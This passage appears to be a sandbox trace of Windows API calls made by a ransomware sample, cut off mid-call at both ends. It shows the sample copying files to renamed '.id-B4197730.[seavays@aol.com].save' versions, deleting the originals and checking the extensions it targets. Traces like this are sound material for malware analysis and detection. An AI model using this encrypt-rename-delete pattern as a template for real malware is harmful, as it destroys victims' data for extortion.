(lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0050.538] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.538] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.538] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0050.538] GetLastError () returned 0x0 [0050.538] ReadFile (in: hFile=0x2fc, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x133, lpOverlapped=0x0) returned 1 [0050.539] WriteFile (in: hFile=0x300, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x140, lpOverlapped=0x0) returned 1 [0050.540] ReadFile (in: hFile=0x2fc, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.540] WriteFile (in: hFile=0x300, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xf6, lpOverlapped=0x0) returned 1 [0050.541] SetEndOfFile (hFile=0x300) returned 1 [0050.541] CloseHandle (hObject=0x300) returned 1 [0050.542] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.542] SetEndOfFile (hFile=0x2fc) returned 1 [0050.543] CloseHandle (hObject=0x2fc) returned 1 [0050.543] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0050.543] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 1 [0050.543] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0050.543] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0050.543] lstrlenW (lpString=".doc") returned 4 [0050.543] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0050.543] lstrlenW (lpString=".docx") returned 5 [0050.543] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0050.543] lstrlenW (lpString=".pdf") returned 4 [0050.543] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0050.543] lstrlenW (lpString=".xls") returned 4 [0050.543] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0050.543] lstrlenW (lpString=".xlsx") returned 5 [0050.543] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0050.543] lstrlenW (lpString=".ppt") returned 4 [0050.543] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0050.544] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0050.544] lstrlenW (lpString=".zip") returned 4 [0050.544] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0050.544] lstrlenW (lpString=".rar") returned 4 [0050.544] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0050.544] lstrlenW (lpString=".bz2") returned 4 [0050.544] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0050.544] lstrlenW (lpString=".7z") returned 3 [0050.544] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0050.544] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0050.544] lstrlenW (lpString=".dbf") returned 4 [0050.544] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0050.544] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0050.544] lstrlenW (lpString=".1cd") returned 4 [0050.544] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0050.544] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0050.544] lstrlenW (lpString=".jpg") returned 4 [0050.544] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0050.544] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0050.544] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0050.544] lstrlenW (lpString=".doc") returned 4 [0050.544] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0050.544] lstrlenW (lpString=".docx") returned 5 [0050.544] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0050.544] lstrlenW (lpString=".pdf") returned 4 [0050.544] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0050.544] lstrlenW (lpString=".xls") returned 4 [0050.544] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0050.544] lstrlenW (lpString=".xlsx") returned 5 [0050.544] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0050.544] lstrlenW (lpString=".ppt") returned 4 [0050.544] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0050.544] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0050.545] lstrlenW (lpString=".zip") returned 4 [0050.545] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0050.545] lstrlenW (lpString=".rar") returned 4 [0050.545] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0050.545] lstrlenW (lpString=".bz2") returned 4 [0050.545] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0050.545] lstrlenW (lpString=".7z") returned 3 [0050.545] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0050.545] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0050.545] lstrlenW (lpString=".dbf") returned 4 [0050.545] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0050.545] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0050.545] lstrlenW (lpString=".1cd") returned 4 [0050.545] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0050.545] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0050.545] lstrlenW (lpString=".jpg") returned 4 [0050.545] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0050.545] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0050.545] lstrlenW (lpString="SetupResources.dll") returned 18 [0050.545] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0050.903] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=17240) returned 1 [0050.903] CloseHandle (hObject=0x2f4) returned 1 [0050.903] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 0x80 [0050.903] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0050.903] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0050.903] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.904] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.904] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0050.904] GetLastError () returned 0x0 [0050.904] ReadFile (in: hFile=0x2f4, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x4358, lpOverlapped=0x0) returned 1 [0050.916] WriteFile (in: hFile=0x2c0, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x4360, lpOverlapped=0x0) returned 1 [0050.917] ReadFile (in: hFile=0x2f4, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.917] WriteFile (in: hFile=0x2c0, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xf8, lpOverlapped=0x0) returned 1 [0050.917] SetEndOfFile (hFile=0x2c0) returned 1 [0050.917] CloseHandle (hObject=0x2c0) returned 1 [0050.918] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.919] SetEndOfFile (hFile=0x2f4) returned 1 [0050.919] CloseHandle (hObject=0x2f4) returned 1 [0050.919] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0050.920] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 1 [0050.920] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0050.920] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0050.920] lstrlenW (lpString=".doc") returned 4 [0050.920] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.920] lstrlenW (lpString=".docx") returned 5 [0050.920] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0050.920] lstrlenW (lpString=".pdf") returned 4 [0050.920] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.920] lstrlenW (lpString=".xls") returned 4 [0050.920] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.920] lstrlenW (lpString=".xlsx") returned 5 [0050.920] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0050.920] lstrlenW (lpString=".ppt") returned 4 [0050.920] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.920] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0050.920] lstrlenW (lpString=".zip") returned 4 [0050.920] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.920] lstrlenW (lpString=".rar") returned 4 [0050.920] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.920] lstrlenW (lpString=".bz2") returned 4 [0050.920] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.920] lstrlenW (lpString=".7z") returned 3 [0050.921] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.921] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0050.921] lstrlenW (lpString=".dbf") returned 4 [0050.921] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.921] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0050.921] lstrlenW (lpString=".1cd") returned 4 [0050.921] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.921] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0050.921] lstrlenW (lpString=".jpg") returned 4 [0050.921] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.921] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0050.921] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0050.921] lstrlenW (lpString=".doc") returned 4 [0050.921] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.921] lstrlenW (lpString=".docx") returned 5 [0050.921] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0050.921] lstrlenW (lpString=".pdf") returned 4 [0050.921] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.921] lstrlenW (lpString=".xls") returned 4 [0050.921] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.921] lstrlenW (lpString=".xlsx") returned 5 [0050.921] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0050.921] lstrlenW (lpString=".ppt") returned 4 [0050.921] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.921] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0050.921] lstrlenW (lpString=".zip") returned 4 [0050.921] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.921] lstrlenW (lpString=".rar") returned 4 [0050.921] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.921] lstrlenW (lpString=".bz2") returned 4 [0050.921] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.921] lstrlenW (lpString=".7z") returned 3 [0050.921] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.921] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0050.922] lstrlenW (lpString=".dbf") returned 4 [0050.922] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.922] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0050.922] lstrlenW (lpString=".1cd") returned 4 [0050.922] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.922] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0050.922] lstrlenW (lpString=".jpg") returned 4 [0050.922] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.922] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0050.922] lstrlenW (lpString="SetupResources.dll") returned 18 [0050.922] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0050.923] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=16728) returned 1 [0050.923] CloseHandle (hObject=0x2f4) returned 1 [0050.923] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 0x80 [0050.923] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0050.923] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0050.923] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.923] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.923] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0050.925] GetLastError () returned 0x0 [0050.925] ReadFile (in: hFile=0x2f4, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x4158, lpOverlapped=0x0) returned 1 [0050.926] WriteFile (in: hFile=0x2c0, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x4160, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x4160, lpOverlapped=0x0) returned 1 [0050.927] ReadFile (in: hFile=0x2f4, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.927] WriteFile (in: hFile=0x2c0, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xf8, lpOverlapped=0x0) returned 1 [0050.927] SetEndOfFile (hFile=0x2c0) returned 1 [0050.927] CloseHandle (hObject=0x2c0) returned 1 [0050.928] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.928] SetEndOfFile (hFile=0x2f4) returned 1 [0050.929] CloseHandle (hObject=0x2f4) returned 1 [0050.929] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0050.930] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 1 [0050.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0050.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0050.930] lstrlenW (lpString=".doc") returned 4 [0050.930] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.930] lstrlenW (lpString=".docx") returned 5 [0050.930] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0050.930] lstrlenW (lpString=".pdf") returned 4 [0050.930] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.930] lstrlenW (lpString=".xls") returned 4 [0050.930] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.930] lstrlenW (lpString=".xlsx") returned 5 [0050.930] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0050.930] lstrlenW (lpString=".ppt") returned 4 [0050.930] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0050.930] lstrlenW (lpString=".zip") returned 4 [0050.930] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.930] lstrlenW (lpString=".rar") returned 4 [0050.930] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.930] lstrlenW (lpString=".bz2") returned 4 [0050.930] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.930] lstrlenW (lpString=".7z") returned 3 [0050.930] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0050.930] lstrlenW (lpString=".dbf") returned 4 [0050.930] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0050.931] lstrlenW (lpString=".1cd") returned 4 [0050.931] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.931] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0050.931] lstrlenW (lpString=".jpg") returned 4 [0050.931] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.931] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0050.931] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0050.931] lstrlenW (lpString=".doc") returned 4 [0050.931] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.931] lstrlenW (lpString=".docx") returned 5 [0050.931] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0050.931] lstrlenW (lpString=".pdf") returned 4 [0050.931] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.931] lstrlenW (lpString=".xls") returned 4 [0050.931] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.931] lstrlenW (lpString=".xlsx") returned 5 [0050.931] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0050.931] lstrlenW (lpString=".ppt") returned 4 [0050.931] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.931] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0050.931] lstrlenW (lpString=".zip") returned 4 [0050.931] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.931] lstrlenW (lpString=".rar") returned 4 [0050.931] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.931] lstrlenW (lpString=".bz2") returned 4 [0050.931] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.931] lstrlenW (lpString=".7z") returned 3 [0050.931] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.931] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0050.931] lstrlenW (lpString=".dbf") returned 4 [0050.931] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.931] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0050.931] lstrlenW (lpString=".1cd") returned 4 [0050.932] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.932] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0050.932] lstrlenW (lpString=".jpg") returned 4 [0050.932] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.932] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0050.932] lstrlenW (lpString="SetupResources.dll") returned 18 [0050.932] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0050.932] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=18776) returned 1 [0050.932] CloseHandle (hObject=0x2f4) returned 1 [0050.933] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 0x80 [0050.933] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0050.933] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0050.933] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.933] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.933] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0050.940] GetLastError () returned 0x0 [0050.940] ReadFile (in: hFile=0x2f4, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x4958, lpOverlapped=0x0) returned 1 [0050.970] WriteFile (in: hFile=0x2c0, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x4960, lpOverlapped=0x0) returned 1 [0050.971] ReadFile (in: hFile=0x2f4, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.971] WriteFile (in: hFile=0x2c0, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xf8, lpOverlapped=0x0) returned 1 [0050.971] SetEndOfFile (hFile=0x2c0) returned 1 [0050.971] CloseHandle (hObject=0x2c0) returned 1 [0050.972] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.972] SetEndOfFile (hFile=0x2f4) returned 1 [0050.973] CloseHandle (hObject=0x2f4) returned 1 [0050.973] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0050.973] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: 